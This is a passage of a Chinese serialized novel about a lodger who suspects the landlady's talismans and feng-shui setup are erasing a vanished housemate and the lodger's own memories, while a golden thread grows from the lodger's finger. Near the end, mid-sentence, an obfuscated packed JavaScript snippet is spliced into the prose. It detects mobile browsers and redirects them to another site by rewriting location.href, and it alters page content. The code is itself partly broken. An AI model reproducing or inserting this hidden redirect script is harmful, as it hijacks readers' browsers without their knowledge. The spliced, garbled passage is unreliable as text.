屏住呼吸,用指甲挑开这个厚厚的三角—— 这还是张画着红纹的方形黄符。但比起我床上那两张,要再短阔一些。符纸上是六个陌生图案,两两成列:中间那列最高,上面的像动画片里的宫灯,下面则是把奇怪扇子。左右则能依稀辨认出云、刀剑、老虎的形状。 我将纸符也拍了照,再原样折好,重新压回麒麟下。 全部复位。我退出了书房。 书房门在身后合上。不出两秒,玄关响起了开门声。 方姨回来了。提着几袋蔬菜。 我呼吸微滞,随即大步上前,接过袋子放进厨房。 “今天有些晚了,晚饭就简单点吧。”她扎起袖子,“你去忙,饭好了再叫你。” 我应了一声,转身回了房间。 关上房门,我坐上椅子,闭了闭眼,就立刻上传了刚拍的符咒。 搜索结果很快出来了——“五雷朱砂符”。用来辟邪驱鬼,号称效果强悍。 ——驱鬼? 可方姨明明说,是为了稳固气场…… 我点开知否。昨晚的提问下已有两条回复。 答案一致:是“收惊符”,用于驱邪安魂。一人还特意指明是“太乙收惊符”。主页显示他是位易学命理馆馆主。 ——安魂? 这倒和之前那张“金光符”效果一致…… 难道,方姨真不是要害我,而是在…保护我? 但,“五雷符”又怎么解释? …… 我陷在椅子里,视线定在天花板上,试图理清这些新的碎片—— “五雷符”镇在书房,是否意味着,“邪祟”就在书房? 邪祟……是疯子的疯病? 他应该是人格分裂,医院却没确诊,所以方姨以为他是被邪祟附了身? 但…这就没法解释“金光符”和“收惊符”了:为什么它们不在书房,而被放在了我的床上。 现在的放法…就像是要保护我不受疯子侵害。 它们都在暗示:这屋子里,他才是那个“鬼”…… 但…疯子,那个梦见月亮、写了青词的疯子? 他会是“鬼”?会害我……? 胸口一点点绞紧。我猛地转向飘窗—— 那盆消失的小树! 当初它被特地放在我房里,还让我亲手系上绸带……如今,却不声不响地消失了;而砸了树的疯子,也彻底人间蒸发。 ——这个“平安健康局”,绝对有问题。 我立刻摁亮手机,在提问下追问:“房东在我卧室里摆了幸福树和铜麒麟,说是布‘平安健康局’。请问这到底是什么局?有什么作用?” 接着,我详细描述了它们的样式和摆放,随即又私信那两位答主。 这时,外面传来敲门声,是方姨在叫我吃饭。 我答应一声,放下手机,起身出了房间。 桌上饭菜已经摆好,西红柿鸡蛋汤和青菜炒肉。 ——这样的菜,疯子连筷子都不会伸吧。就没见他吃过蔬菜。 我勾了勾嘴角,却陡然僵住——每餐一小口米饭,只吃荤菜…… 这个吃法…的确像是在敬死人。 我死死盯着靠窗那个座位。排骨成精的疯子,仿佛又坐了回去。 一股冷意从脚底攀了上来,冻住我全身关节。 我攥住椅背,慢慢转头,看向方姨——她正解了围裙走到桌边,目光随意扫过餐桌,脸上是再寻常不过的平静。 我拉开椅子坐下,埋头扒了两口饭。借着盛汤的动作,抬头问:“方姨,赵路呢?这几天怎么都没看见他?” 方姨的筷子停了。她捧着碗,低头端坐,下唇咬得发白,下巴微微颤抖。 “他还回来吗?”我舀好汤,将勺子放回汤碗。 “赵路,赵路,一天到晚都是赵路!”她猛地将筷子摔在桌上,倾身尖叫起来,“你说的这个赵路到底是谁?我们家里没这个人!” 几星口水溅到我脸上,凉凉的。 ——他果然被从这个家里彻底抹掉了。 “那——程静呢?”我擦了把脸。有点臭。 方姨像台骤然断电的机器,卡在了原地。她怔怔望着我,嘴巴无声开合,眼里翻涌出巨大的痛苦和恐惧。 ——哈。她还是不敢承认,赵路就是程静,那个她一心想要驱除的邪祟? 方姨不再理睬我。她重新捧起碗,将饭送进口中。几秒后,几滴泪“啪嗒啪嗒”地砸在桌上。 晚饭的菜又没吃完。我们都只随便扒了两口,就离开了餐桌。 回到房间,我立刻拿起手机——上面出现了知否回复的提示。 是那位易学命理馆的答主。他的回复直截了当: “你房东布的这个,绝对不是平安健康局。” 他解释道:卧室应摆温润的玉麒麟,纳福养人;而黄铜主金,性刚烈,司刑伤,向来是镇宅驱邪之物,一般只摆在大门、客厅。尤其“我卧室”里那对铜麒麟,还压着专司诛邪的“五雷符”——这分明是驱邪的杀局。 “你一定要注意,千万别让铜麒麟正对床铺,这样还会反过来损害健康。”他最后强调。 血液凝滞,冰渣顺着脊柱灌满全身。 ——那对铜麒麟正对的,就是疯子睡觉的飘窗。 原来…这书房里的“平安健康局”,彻头彻尾,就是为他设下的杀阵。 正是那天布局之后,他才变得异样,一天天萎靡,直到彻底……消失。 难道……他真是“邪祟”,被阵法“驱除”了? 难道,真要我相信风水,相信这老掉牙的封建迷信? …… 方姨,你布的,究竟是个什么局? 放下手机,我望向书桌前的空白墙壁。晚饭时方姨的脸映在上面,脸上交织的痛苦和恐惧伸手就能触到。 痛苦,是因为“程静”。那么恐惧呢? 恐惧,一定是因为发生了什么…… 难道…程静早就死了? 疯子……是鬼? ……这样,她长久的无视,嫌恶,还有畏惧,就都有了最合理的答案。 她,是真的将疯子当作鬼魂对待。 …… 我该相信什么? 是相信这世上真的有鬼,真有风水,还是…活人能凭空消失? 我回想起布局那天,疯子抱着胳膊,冷眼旁观的模样。 那时,他还只当它是场闹剧…… 我一时不知自己是该伤感还是后怕。长呼出口气,我又赶紧拿起手机—— 铜麒麟和“五雷符”已经有了定论。 可那盆幸福树呢?在这个风水局里,它又扮演着什么角色? 我向那位答主道谢后追问了幸福树的情况。他正好在线,回复很快: “没有照片不好说,但按照你的描述,很可能是用来催旺桃花的。” 他解释道,虽然幸福树本身寓意健康,却没有和粉色绸带或水晶的搭法。后面这两个东西,一般都用在桃花局里。 “你房东这局布得乱七八糟,”他总结道,“又是驱鬼又是招桃花,这样会互相干扰,导致气场混乱。最好劝他别自己乱搞,还是要找专业人士处理。” 我谢过他,揉了揉眼睛,去网上搜索了相关信息——和他说的基本一致。 幸福树,是招桃花的。 我转过身,定定望着飘窗—— 它当初被摆在那里,是为了给我招桃花? 几天前,方姨执意要介绍我去当“小白脸”…… 难道,就是这种“桃花”? ——哇。那这桃花,可就真是很烂了。 一边给我招着“烂桃花”,一边又在屋里大肆“驱邪”…… 方姨…你是想做什么? 是将疯子——程静彻底用废之后,又打起了我的主意? 你,到底是什么人? 要害我的,究竟是谁? …… 我看见自己站起身,慢慢踱到窗前。 飘窗上积了厚厚一层白霜。那是月亮落下的年轮。 ——疯子呢,你又为什么砸树? 是因为它勾起了你不堪的过往吗? 你砸碎的,可是那个即将重蹈你覆辙的、未来的我? 我弯下腰,掌心轻贴上台面。寒霜悄悄覆住我手背。 一抬头,明月高悬,圆圆嵌在这方窗户框住的、深不见底的夜色中。 疯子…… “这世界是个巨大的迷宫。” 他的声音在耳边响起,遥远得就像从深水下传来。这是他消失前,看着我,对我说的。 他还说,要我拿好手中的线。 我呵地笑出声来:金线?我哪来什么金线? 微醺的月光中,我挑着眉,抬起右手,侧头看去—— ……? 食指的指尖上,黏着一个金灿灿的圆点,直径不过三四毫米,像个精心贴上的亮片。还挺好看。 我盯着它看了足有十秒,才垂手往裤腿上蹭了蹭。 抬手,还在。而且,它还一明一暗地闪烁起来。每一次闪烁,都像有重量般,牵得我眼皮直往下掉。 就在我眨眼的功夫,那光点已经凸出来一团,就像长出来一小颗肉瘤,或者鼓起了一小茬泉水。再一眨眼,它又变成了一截五六厘米长的,金光闪闪的细绳,从我的指尖,斜斜指向窗外的月亮,在空中扭成了一小段妖异的波浪。 ——咦?这就是金线? 还真是金色的。 我痴笑起来,伸出左手,往这线上一捏——什么都没捏到。 我又来回搓碾食指和拇指——搓到的,只有自己的指纹。 它肯定不是真的线。是光吧?所以这样亮闪闪的。 不知什么时候,我已经躺在了床上,眼前仍是那条蜿蜒舞动,不断延伸的金线。 睡意顺着金线漫来,沉沉包裹住我。我闭上了眼睛。 ——真是个有趣的梦……这下,我总算知道金线是怎么回事了。 睡着前,我想。 12. Chap.11 多出来的线(上) Chap.11 多出来的线——多了还是少了 第二天,我是在刷牙时发现了右手食指尖上那根金线。 我迷迷糊糊站在厕所洗漱台前,借着窗户透进的薄光,挤上牙膏,将牙刷塞进嘴里上下一刷—— 就看到它尾部有根东西在跟着摆动。细细的,金灿灿的,一直向前,连进镜子里。 ——嗯?……里面谁想偷我牙刷? 口腔里的薄荷味轻轻刺了一下。我猛地一醒。 取出牙刷,手悬在胸前,疑惑地望向镜子——那根金色的细线却仍在水波般起伏,从我手中这把牙刷,起伏到镜子里的那把,一点都不管两边都早就停了下来。 低下头,将牙刷换到左手。这一次,金线却没跟着动,还牢牢停在我右手食指指尖。 月光下舞动的金线叠了上来。 ——哦。昨晚原来不是梦啊。 我长长吁出一口气,喉咙也跟着放松下来——原来没人想偷我牙刷。 抬起右手,凑到鼻子跟前,双眼对了上去。那金线就像是从皮肉下长出来的,和我的指尖没有丝毫缝隙。却又不像破土而出的藤蔓,周围没有一点隆起。 这到底是什么? 用剩下四根手指握住牙刷,左手食指按了上去——金线仿佛被我带起的气流惊扰,左右摇曳。 它想避开我的手指? 但我还是摁住了它。指尖搓了搓,碾了碾,却只触摸到平滑的皮肤。 ——嗯……真的只是光。 我垂下左手,目光顺着右手的金线进入镜子。又从里面那只手,移到上方那张脸上—— 那张脸,有些陌生。 是我的脸? 是吧。 这像我? 我都疯了,看见自己不觉得像,可不正常得很。 镜子里的人扯起一个温和谦逊的微笑。 我也笑了。 继续洗漱完,我回房戴上眼镜,才坐到餐桌边好好打量这根金线—— 它已经快两米长了。在餐厅明亮的日光下,呈现淡淡的银白色。还是叫它“光线”更恰当些。 它避开我胳膊,向我的侧后方低低飘着,从容地像根轻风拂起的丝带。我试着挥了挥手,转了转腕,它也只是被牵动着轻轻一扯,就又绕过我手掌,指向先前的方向。 ——原来,它连着的不是镜子,是主卧。 我看着这条附在我指上、在我眼前两寸不到的距离来回晃荡的银线,边往嘴里塞着馒头和麦片粥,边回忆它昨晚的长势—— 这也没长多少啊。肯定我一睡着,它就偷了懒。 方姨却看不见它。 她和往常一样,坐下和我一起吃了早饭。又在我吃完后,将饭盒递过来,叮嘱我下班早点回来。 她的视线,甚至没在我手上停留一秒。 吃早饭的功夫,那根光线就已经长到了三米。 去公司的路上,我一直盯着它。它在阳光下倒很不显眼,从从容容牵着我,伸向左前方,像是在遛我。 这是光。我的光。 我站住,原地慢慢转了两个圈。那光线也绕着我,悠悠转了两个圈。 ——嗯?光能转弯? 眉头轻轻拧起。我怎么才想起来。 不是光……? 那…是灵魂?就像疯子说的。我被抽出来的灵魂? 我望着左前方,突然明白过来—— 那是西南。它指的都是西南方的地平线。 ——西南…地平线? 我抬起头,向四周望去—— 世界正常了。 就像一夜之间熨平了所有褶皱。昨天还微微拉扯变形的景象,此刻却平直规整地铺陈在我面前。 马路平稳,房子踏实,路灯端正,行人生动,眼中画面清爽得就像刚刚洗过。车声、人声、树上叽喳的鸟叫声,尾气味、阳沟味、还有小店里热腾腾的早饭香味,也都样样分明。 世界又回复成再正常不过的模样。 我,也是。我不再在水底下望着我了。 我就在我身体里。用眼睛看,用耳朵听,用鼻子嗅。脚下,又是那块坚硬得无可置疑的地面。 我们都正常了。 除了——我垂下眼,望着它——这根银线。 它好端端地停在我指尖,指向前方的地面。 “疯了之后,我右手的食指上长出了一根金线。”我跟着疯子默念。气流缓缓从齿间滚过,最后凝固成嘴角的一个微笑。 真糟糕。原来真的是我疯了。 银线跟着我进了电梯,进了公司。 在指纹机前排队签到时,它就在那些低垂的眼皮底下,堂而皇之地舒展,摇曳,却没一道目光投到它身上。 还好……他们都看不见它。 他们的眼里,一切正常。 开过正常的早会,我正常去茶水间将饭盒放进冰箱,正常坐上工位,打开电脑。银线于是也在桌上扎下了窝。它拉着我的手,钻进右前方的隔板。看角度,一定是垂进了那边的地板下。 ——这是不是有点像钓鱼? 我挑了挑嘴角,随即打开浏览器,敲下“2025年10月10日上午9点月亮方位”—— 果然。西南偏西,贴着地平线。 它指向的,自始至终,都是月亮。 ——怪不得这么长的线。还真是条大鱼呢。 暗暗叹了口气,我开始这一天的工作。 工作也很正常。只是为了等客户转账,下班又晚了。 打卡时,机器显示时间:6:46。大楼外,天色已经开始发沉。 我往方姨家走去。 为什么还回方姨家? 得赶紧离开。 否则,等着我的就一定是疯子那样的结局——变成光,消失。 但是…这样子回去?我疯了呀,怎么回得去呢? 我疯了。 只是不知道,我是什么时候疯的。 目光追着金线——黯淡的暮色中,金线分外明亮。它牵在半空,蜿蜒着穿过马路,钻进对面的店铺里。它直指的右前方正是东南,月亮的方向。 ——以后找月亮就方便了。 嘴角勾了起来。再落下时,我的脚步也止住了—— 他们都看不见啊。 只要我也装作看不见,我就没疯,就还一切正常? 那样,我就能回去了…… 我转过身,望向西边的天空—— 那里,已经不见红日,只在地平线上留了道浅浅的绀红。 ——绀红?那是什么? 我轻轻皱了皱眉。 算了,不重要。 我边盘算着是预支工资,还是网络贷款,打开门走进了方姨家。 晚饭已经摆上。我回房放了东西,就过去坐下。 我们坐在各自的座位,沉默地吃着桌上的饭菜。 我们都习惯了这沉默。它就像餐厅白晃晃的灯光,成了晚饭的一部分。 吃过晚饭,我回了房间。带上门,就见金线斜斜穿入了飘窗左侧的那面墙。 月亮就快升起来了吧。 我笑了笑,抬腿走近书桌。目光落下,猛地一缩—— 《理想国》……不见了。 呼吸一窒,身体里灌满了寒冰。世界倾斜了半秒,我扶着椅子勉强站住。 好不容易等血液重新流回四肢,我发疯般在房里翻找起来——抽屉里,椅子下,桌底,被子里,床头柜,柜子和墙的夹角…… 都没有…… 有的,只是一片狼藉。 ——它,真的不见了。 手撑着地面坐起,头和肩膀重重沉了下去。冰凉的空虚漫上地板,浸没我全身。 ——怎么会不见呢…… 它明明昨天还在,还好端端、沉甸甸地压在前面这张桌子上。 我是亲眼看见疯子,看见那只苍白瘦削的手,从书架上抽出来的。 那是疯子存在过的,最后的、唯一的证据啊。 书架空了,飘窗也空了…现在,连它都没了吗? 疯子他,真的存在过吗? 我呆坐半晌。一侧头看见那根金线——它水平延伸着,没入飘窗底座。 ——是了,金线。是我疯了。 疯子……或许真的只是我臆想出来的。 就像方姨说的,家里从来都没有这个人…… 我垂头望着金线,随意挥了挥胳膊,将它带动得扭出花来—— 呵。金线…… 你也是我臆想出来的? ——不,不对! 我疯了,是因为长出了金线。如果金线并不存在,那是不是我就没疯? 如果没疯,疯子和金线就不是我臆想出来的。 所以……他们真实存在。金线,只能是疯子给我的。 它,才是他存在过的,最后的证据。 我爬起身,开门去上了个厕所。回房时,我在沙发前站住。 等方姨将目光从电视移到我身上,才挠挠头,问:“对了,方姨,我房里桌上的《理想国》,是您收回去了吗?” 她拨着念珠的手一顿,嘴也停在了半翕之间。随即,柔和了目光,两颊上垄起微笑来:“没有啊。那是本什么书?” 肺里的空气被往外轻轻一抽。我视线一闪,马上也带出了笑来:“哦,那一定是我记混了。” “嗯。”她哼出声温和的鼻音,目光落回电视,手指继续拨动,“不早了,看着点时间。别熬夜。” “好。那我先回房了。”说着,我往前,推门进了房间。 锁上房门。我背靠着门板,身后的手紧紧攥在把手上。 ——她知道。 书,真是她收走的。 她这样急于抹除证据,正是因为,疯子是真的。 她,恰恰是他真实存在过的,活的证据。 而她却想让我忘掉他…… 忘了他,我就能成为第二个疯子,第二个程静? 目光跟着金线,落在了窗台上——那里,曾摆过一盆幸福树。 ——第二个… 是这样吗? 还是…… 我收回视线,三步跨到衣柜右侧,拉开柜门。书桌的阴影下,还稳稳压着那袋东西——那堆没有消化干净的残骸。 ——这屋子里,被吞掉的,究竟有几人? 鼻腔里漏出一声轻笑。我走到床边坐下,手掌抚过被面。布料粗糙,平顺,就像温和的砂纸,还有刚才方姨的笑容。 我从裤袋里摸出手机。解锁,屏幕上微信的图标绿得诚恳。 点开,找到徐姐,敲下一行字:“徐姐,明天中午有空吗?想请你吃顿快餐,可赏光否。” 窗口上方立刻显出“对方正在输入……”。很快,她的回复跳出来: “怎么突然请吃饭了” “感谢你的照顾呗。而且,确实也有些事想请教一下。” 一个“OK”的手势弹了出来。 “那说好了,明天中午见哦。” 对面回了个呲牙的笑脸。 搞定。 我锁了屏,低头凝视那块漆黑的镜面。半晌,将它扔到枕边。 揉揉眼睛,目光又被牵回了金线——它从我指尖蔓出,悠悠摇曳,连着另一个世界的脉搏。 它缓缓起伏,催促着我。我便顺着它,转身,向后,倚上了床头。再追着它的轨迹,让视线滑向窗外,落在那轮月亮上。 它好像瘦了些。 没关系……金线很快就会接上它。 思绪渐渐粘滞,眼皮徐徐垂落。 “不要忘了他。”它说。 声音在我的齿间滚过,泛起铁锈的涩,焦糊的辛,最后,竟渗出一丝桂花的甜。 “不要忘了…” 我噙住这莫名的甜,任由身体滑下去,滑下去,沉进一片水底的月光。 “…我。” 最后一点光,溺在眼睑后。 第二天,我请徐姐在园区边的大排档吃中饭。店里人还不少,嘈杂声同菜香、油烟味氤成一片。 我们在里侧的空桌上坐下。徐姐只肯点了一荤一素,就放下菜单。我加了个汤,心里算好饭钱——三个菜加两份米饭,63。钱还够。 徐姐背靠椅子,脸上带着调笑:“说吧,这顿饭是想问什么。” 我将两套碗移到跟前,拆着上面的塑封,抬头对她眨眨眼:“徐姐,我上个月业绩怎么样,大概能拿多少啊?” 她先旋出了右脸上的酒窝,才微抬起下巴,垂眼看来:“能进前二十。看不出来啊,上手这么快。面试时我还觉得你腼腆呢。”又抿了抿嘴,“能拿七八千吧,具体我不记得了。” 我正往碗筷上淋开水。闻言手一滞,瞪大了眼睛抬头看着她:“这么多?” “那是。要不,大家进这来干嘛?”她歪着脑袋吟吟笑着,目光停在我脸上,等着接话。 我便也堆出些笑来,话里都带上了气音:“徐姐,你看,能不能帮我从里面先预支点。” “就知道还是这事。”她鼻子里轻哼一声,眉眼弯弯的,“我说你,只十天不到就发工资了,还让我去帮你预支?” 我嗓子里泄出口气来,将烫好的碗推到她面前,又倒上茶,这才垮下肩膀望着她:“等不到二十号了。” 她皱起眉头,扶过茶杯:“你也欠了钱?” 我苦涩一笑:“那倒不是。”低下头,盯着杯子里打旋的茶叶,声音沉了下去:“我是急着搬房子。” “又搬?你不是上个月刚搬的?” 我轻叹口气,语气平静,却掺了丝颤抖:“我现在住的这房子…可能闹鬼。”说着,抬起头,迎上她的目光。 她抱着胳膊,左眉一挑:“闹鬼?” 我深吸一口气,将屋里的风水牌,房东往我卧室里放树、让我系绸带的事告诉了她,又详细描述了我怎么在床上发现了符咒。 “那天,真是吓死我了哈哈哈哈哈……”我耸着眉,大声笑了。 徐姐也耸眉笑了起来:“我去,这么诡异。” “是啊,”我慢慢收住笑,声音逐渐低沉,“正是这之后,我才开始不对劲的。” 眼珠摇晃两下,视线卡在她下巴上:“我总是莫名其妙觉得烦躁,睡得也越来越久……” 她下巴向里勾着,被挤得又圆润了一圈:“你…这脸色看着是不太好。”那上面皱出了几个浅坑。 这时,服务员阿姨将排骨汤端了上来,摆在桌子中间。 我仿佛突然回过神来,提了提嘴角,问要不要替她盛汤。徐姐说着“自己来”,起身盛了几勺,坐下了。 “你都这情况了,还请我吃饭。”她皱着眉,捏着勺子仔细打量我。顿了顿,又俯下身凑近点:“你说,那房子里闹鬼……是怎么回事?” 我便告诉她,有天凌晨我起夜上厕所时,看见房东在阳台上烧东西。好像是纸钱,但我没敢过去。 “……大概是烧给书房里那东西的。”我双手紧紧捧住茶,望进里面,仿佛要从中榨取一点暖意,“那间房里总亮着灯,能听见动静。我刚搬去那两天,还以为是房东。但…她明明一直在外面。”金线在茶杯后轻轻摇摆,顺着我胳膊飘向身后。 我抬起头,目光虚虚拢在她脸上,声音干涩:“我进去看过。那里面摆着两个铜麒麟。网上说…”话到嘴边,却卡了一下,“…那是专门镇鬼驱邪的。下面还压了‘五雷符’,也是专门杀鬼的……” 她的瞳孔微微缩起,胸口起伏的节奏乱了。 “这几天,我好像越来越不对劲……我是真心不敢再住下去了。”我收起语气中的恐惧和疲惫,目光聚向了她双眼,“徐姐,帮帮我吧。要是连你都不忙我,我就真的只能去借网贷了。” “确实是赶紧搬出来为好……”徐姐低头喝了口汤,再抬头却挑唇一笑,“你还去借网贷…你身份证拿着了?” “身份证?”我正起身盛汤,手一僵,捏着汤勺悬在半空。 “亏你还是做这行的。”她喷出丝笑来,像是有些无奈,“哪个网贷平台不要求传身份证照?你有照片?” 我张了张嘴,喉咙却堵住了。几秒后,才忽地一松,“……没。” 肩膀跟着又垮下去一寸。我低头盛好汤,坐回椅子上。 “说真的,你怎么不回去住?”徐姐低下头,勺子在碗里轻轻划着圈,“我查过你身份证信息,你家就在这个区吧。” 我一愣,抬头看她:“这都能查到?” “当然。”她又好笑地一耸眉,“要不你以为怎么能放你进公司。还好你记得身份证号。” ——当然是以为你们缺人缺疯了…… 我讪讪一笑,正要解释,却骤然顿住—— 等等,这个区? 我家…是这个区的? 我在记忆里四处翻找,却怎么都想不起来—— 我家,到底住哪? 胸腔瞬间一空,连肋骨都被抽了个干净,只剩下胸骨还在隐隐颤动。 好在,这时服务员阿姨刚好端着两道炒菜过来。 “谁帮个忙。”她朝我俩喊了一声。 我猛地醒神,伸手将汤碗推到桌子里侧。她则一侧身,将那份沉甸甸、油亮亮的大盘鸡摆在桌子正中央。那只挽着袖子的胳膊,一下隔开了徐姐和我的视线。 和大盘鸡一起沉沉落下下的,是我的心。 视线不由顺着指尖向右望去——那根金线,被我刚才的动作牵起,在空中划出道悠悠的弧线。 ——所以……我失忆了。 是因为我疯了? 眉头轻轻拧了拧。 等那碟翠绿鲜嫩的油麦菜也摆上桌,一个苦涩的微笑已经又重新挂回了我脸上。 “菜齐了。”阿姨收回胳膊。 “谢谢。”我微微一侧脸,眼睛却望向徐姐。 她伸手盛好饭,又夹了些菜。 我也盛饭夹菜,吃了几口,随便聊了两句菜的口味,才接着说:“其实,我是离家出走的。” 徐姐一顿,从筷子上抬起脸来,随即向后坐直了身子:“嗯?不会吧?” 我勾了勾嘴角,轻笑一声,低下头:“我和父母吵了一大架,家里呆不住了。” 两秒后,对面传来长长的吁气声。 “难怪。我说你怎么之前非要住公司宿舍。明明自己家就在附近。” 抬起头,徐姐已经住了筷子,正靠在椅背上盯着我。 “你不回去了?” 我瘪了瘪嘴,皱起下巴。 “你总得去把身份证拿出来吧?”她歪着脑袋瞪我,嘴无奈地撇开。 “嗯,等我先换好地方。再休假,就回去一趟。”我将一条油麦菜送进嘴里,“我想等白天他们不在家的时候回去。” “唔…”她又挑了挑眉,也吃了几口,才说,“现在你这身份证原件都看不到,确实不好去申请……你上次轮休是几号?” “9月29。”稍一回想,我马上答了上来。 “9月29…今天是……”她伸手去拿桌上的手机。 “10月11,离上次轮休已经十二天了。”我眼睛一亮,两只胳膊扒到了桌上。 “那这三四天你应该就能有休。”她眉头轻轻皱起,左手轻轻敲击手机屏幕,“这样,我这两天就帮你把其他材料都准备起来。你先找房子,再和你组里协调好,尽早去把身份证拿出来。一拿来我就给你支工资。你要预支多少?” “4000就行。”我眼巴巴瞅着她,“徐姐,真不能先支出来啊?我今晚上就想搬……” “想得美呢你。支工资是要过财务那关的。”她撇了撇嘴,低下头去继续吃饭。好一会儿,才又说,“而且,你现在的样子,和身份证上差得也太大了点。” “啊?”我抬起头,看着她。 “你怎么痩了这么多?都痩变形啦。要不是你额头上也有颗痣,我差点以为你是乱填的别人的身份证号。”她嘴一扁,朝大盘鸡扬了扬下巴,“快多吃点吧。” ——我额头上有痣? ……有吧。我看到过。 什么时候来着…… 昨天早上?照镜子的时候? 镜子里的脸闪过我眼前,却模糊不清。 ……也是,光线那么暗,又没戴眼镜,能看清就怪了。 “嗯。”我冲徐姐咧嘴笑笑,夹了两块鸡。低下头,看见金线扯起的弧,飘逸得就像魟鱼旋身时的长尾。目光顺着它,落回右手—— 是挺细的。但这就“痩变形”了?是不是夸张了点。而且,我那身份证上的照片顶多也就四五年前拍的,能变多少? 我笑笑,扒了两口饭,嚼了嚼,慢慢咽下。再抬起头,便望见徐姐那丰润如满月的脸—— 大概,对胖瘦的感知,是因人而异的。 之后,我们只聊了些公司的闲话。1点半起身离开时,两个炒菜都见了底,汤却还剩下大半。 回到公司,我一下午都没能收住思绪。拨着电话,录着信息,脑子里却全是中午的谈话。 预支工资必须要身份证。我得去把它拿出来。 但……我竟忘了自己家的地址? 我顺着记忆一点点往回摸索,却怎么都想不起来,住进那家小旅馆前,我是在哪间网吧通的宵,更不用说,是怎样从家走到了那里。 太阳穴像扎进了两根针,缓缓旋拧,拧出来一大片炽亮金光。 ——这下,真的不可能悄悄回去了…… 嗓子眼里升起几声哑笑,心却沉到了脚底—— 再拖下去…就真的回不去了。 我已经开始失忆。 那屋子,正在消化我。 我找到个机会,和欢姐说自己头痛得利害,想明天去趟医院。她仔细打量了我半晌,说“脸色确实不好,嘴都是白的”,就帮我调了休,又叮嘱我好好休息。 接下来的时间,就都像梦游。耳机里的声音和指尖下的键盘都隔了一层毛玻璃。 终于熬到下班。走出电梯,才发现外面正在下小雨。 这下,外面的整个世界都隔上了一层毛玻璃。 我没带伞,干脆绕到大楼天井的兵乓球场,在低矮的水泥牙子上坐下。手伸进裤兜,贴到手机上,抓紧又松开。那块玻璃屏都带上了我掌心的温度。 只能和父母联系了。我想。 或许,约他们明天一起吃个饭,再理所当然地跟在后面回家…… 或者…就说想给他们寄点东西,先把地址问出来? …… 四周早已暗下来,就像被雨幕隔绝在水底。只有那道金线,兀自亮着,低低漂浮,穿了过去。 我迟疑着掏出手机,一按。屏幕上的强光霎时掩住了金线。 解锁,点击“联系人”图标。 白色背景上跳出来短短一截黑色文字——B龚倩倩,B欢姐,B前台,B徐姐,C方姨。 只有五个。 ……只有五个? 怎么可能?! 我死死抠住手机,食指疯狂地在屏幕上上下划拉,玻璃被我摁得几乎向下凹陷—— A开头的呢?我的父母呢? 其他人呢? 但无论怎样划,那截字都只会轻轻跳回原地,回到刚打开时的模样。 ——怎么可能…… 眼睛被白光扎痛,跟太阳穴一起狂乱跳动。天井在头顶旋转,一时分不清雨水是落在我身前还是后面。 ——冷静。冷静! 我紧闭双眼,将左手攥紧手机,手腕狠狠压进腿面,右手则掐死膝盖,让身体重心逐渐稳定下来。 难道……眼睛缓缓睁开—— 是我离家出走时,故意删掉的? 拧着眉,再次解锁屏幕。打开通话记录—— 拉到底,也只有三个人:方姨,三个通话,都在上个月;龚倩倩,8月31号的呼出;前台,8月20号的呼入,和8月19号的呼出。 切出短信—— 只有一项:方姨。图标左侧亮着个蓝色小点。 血液又开始喧嚣,胃里一阵翻搅。我闭了闭眼,深吸口气,划掉短信,点开了微信—— 没有。这里也没有。 我翻遍了微信联系人,只有公司同事、小组群,还有之前那家小旅馆的老板。 …… 我的父母,我本该最亲近的人,却从我的“关系网”中,完完全全,彻彻底底地消失了。 我被抽空成一个轮廓,听见雨水在体内砸响。 还有什么,总还有什么,能够证明他们的存在…… ——照片!还有照片! 我屏住呼吸,颤抖着戳开相册—— 里面除了几张纸符和铜麒麟的照片,就只有些花花绿绿的表格截图了。那是些催收记录,每天一张发微信小组群里。 这之外,就没有了。 …… 没有了。 都没有了…… 这里面,再找不到我过去的任何痕迹。就像,之前那些记录都被刻意地从这只手机上,彻底删除了。 ——这怎么可能?手机一直都是我拿着。 但如果数据没有被删……总不会,其实过去才是我臆想出来的吧? 那就疯得很有创意了。 我一阵哑笑,胸口猛震了几下,全身都跟着在抖。 渐渐地,笑停下了,战抖却越来越厉害,扯小腹也抽痛起来。我只好捂着肚子瘫坐到水泥地上。 半晌,战抖和抽痛才终于消停下来。我将目光移上了金线,伸出右手左右摆动,拽得它也左摇右晃,就像在放风筝。记忆也被拉扯着一路往回,两个月来的一切都在逐帧倒放。 影片看完,我清醒地意识到—— 我的记忆,真的止于那个瞬间,离家出走的瞬间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001302|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我甚至想不起来,为什么和父母争吵。就连他们的长相、名字……也都被从我的脑中擦除了。 关于那场争吵,仅剩的画面,只有那张慢慢扯开的嘴,牙齿咬进下唇,上唇则一点点掀起,终于露出了里面漆黑的深洞。洞里迸出来两个字:“废——物——”。 还有那双眼睛。它们锁在拧紧的眉下,眼角垂着,里面翻搅起沥青般浓稠的失望。 我也想不清,自己是怎样走进网吧,住进旅馆,怎样通过了面试。一切都褪尽了颜色,模模糊糊,摇摇晃晃,就像误闯入了别人的梦境。 清晰的记忆,竟是从我完成培训,见习的第二天才开始。 ——原来,我已经被消化到了这里。 剩下的,不多了。 “疯子…你就是这样忘记过去,忘掉了自己吗?” 倦怠填满了我。我慢慢躺下,看世界在我身旁倾倒,雨水从地面砸向天空。 地上的寒气渗过衣服,一丝丝烧灼着后背。我举起手臂,牵动金线,旋出层层波浪,优美得如同体操运动员手中的彩带,炫目却像午夜的焰火。 而我,我在燃烧,蒸发。变成一道光,一股烟,一团雾,漂浮在无尽的虚空。 雨却渐渐小了,虚空中又露出现实的面孔。我收回右手,撑着身子慢慢坐起。 ——该想想下一步了。 手机屏幕在昏暗中亮起:“19:48”。 切出微信。“我”,“服务”。目光落在“钱包”上——112.63。 可以回小旅馆住两个晚上。 或者…… 我点开信息,指尖落上那个唯一的图标。 新短信还是四十多分钟前的。 “你还没回来?外面下雨,你带伞了没有?” 指尖悬在屏幕上方。金线从底下伸出,在白□□面上轻轻扭动。 ——还有九天,我能不能撑到20号? 再撑九天…… 哈哈,我这怕早就不止“穷疯了”,而是马上就要“穷死了”。 